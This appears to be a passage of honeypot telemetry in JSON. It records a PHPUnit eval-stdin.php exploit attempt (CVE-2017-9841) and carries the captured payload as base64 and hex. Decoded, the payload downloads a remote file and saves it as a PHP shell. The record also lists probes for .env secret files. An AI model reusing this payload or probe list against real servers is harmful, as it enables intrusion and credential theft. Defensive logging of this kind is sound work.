eval('?>'.base64_decode('PD9waHAKZnVuY3Rpb24gYWRtaW5lcigkdXJsLCAkaXNpKSB7CgkkZnAgPSBmb3BlbigkaXNpLCAidyIpOwoJJGNoID0gY3VybF9pbml0KCk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsKTsKCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9CSU5BUllUUkFOU0ZFUiwgdHJ1ZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRklMRSwgJGZwKTsKCXJldHVybiBjdXJsX2V4ZWMoJGNoKTsKCWN1cmxfY2xvc2UoJGNoKTsKCWZjbG9zZSgkZnApOwoJb2JfZmx1c2goKTsKCWZsdXNoKCk7Cn0KaWYoYWRtaW5lcigiaHR0cDovL3RhbmdpYmxlLWRyaW5rLnN1cmdlLnNoL2NvbmZpZ3gudHh0Iiwid3B4LnBocCIpKSB7CgllY2hvICJVbmFtZSI7Cn0gZWxzZSB7CgllY2hvICJmYWlsZWQiOwp9Cj8+')); ?>","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"1.3","alpn":[],"url_path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a486f73743a203c484f4e4559504f543e0d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031305f31305f3129204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f33392e302e323137312e3935205361666172692f3533372e33360d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a203730360d0a0d0a3c3f706870206576616c28273f3e272e6261736536345f6465636f64652827504439776148414b5a6e56755933527062323467595752746157356c6369676b64584a734c43416b61584e704b53423743676b6b5a6e41675053426d6233426c6269676b61584e704c434169647949704f776f4a4a474e6f494430675933567962463970626d6c304b436b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b78505546526656564a4d4c43416b64584a734b54734b43574e31636d786663325630623342304b43526a6143776751315653544539515646394353553542556c6c55556b464f55305a465569776764484a315a536b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b785055465266556b565556564a4f56464a42546c4e475256497349485279645755704f776f4a593356796246397a5a5852766348516f4a474e6f4c43424456564a4d5431425558314e545446395752564a4a526c6c51525556534c43426d5957787a5a536b3743676c6a64584a7358334e6c644739776443676b5932677349454e56556b785055465266526b6c4d525377674a475a774b54734b43584a6c644856796269426a64584a73583256345a574d6f4a474e6f4b54734b43574e31636d7866593278766332556f4a474e6f4b54734b43575a6a6247397a5a53676b5a6e41704f776f4a62324a665a6d78316332676f4b54734b43575a7364584e6f4b436b37436e304b6157596f595752746157356c636967696148523063446f764c335268626d6470596d786c4c575279615735724c6e4e31636d646c4c6e4e6f4c324e76626d5a705a3367756448683049697769643342344c6e426f634349704b53423743676c6c5932687649434a56626d46745a534937436e30675a57787a5a53423743676c6c5932687649434a6d59576c735a5751694f777039436a382b2729293b203f3e","method":"GET","user_agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36","ja3":"db687c576d7ee0017b289fc05e0f8574","session":"4ea3a7f2-a07c-4258-a548-b878d933587a-5","seq":5,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true}],"http_methods":[{"method":"GET","count":442},{"method":"POST","count":209}],"distinct_ports_total":5,"top_paths":[{"path":"/.env","count":107,"ports":2},{"path":"/","count":72,"ports":2},{"path":"/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":56,"ports":1},{"path":"/core/.env","count":12,"ports":1},{"path":"/app/.env","count":12,"ports":1},{"path":"/api/.env","count":12,"ports":1},{"path":"/local/.env","count":12,"ports":1},{"path":"/apps/.env","count":12,"ports":1},{"path":"/.env.dist","count":8,"ports":1},{"path":"/.env.prod","count":8,"ports":1},{"path":"/application/.env","count":8,"ports":1},{"path":"/development/.env","count":8,"ports":1},{"path":"/cms/.env","count":8,"ports":1},{"path":"/shared/.env","count":8,"ports":1},{"path":"/.env.save","count":8,"ports":1}],"distinct_paths_total":72,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Connection","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip, deflate","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"15","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"<HONEYPOT>","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36","notable":false}],"distinct_sets":3,"events_with_headers":4},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"interactive_session","matched_pattern":"","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"confirmed_by":"interactive_session","sessions":60,"kev_date_added":"2022-02-15"},{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":24},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":24},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":78}]}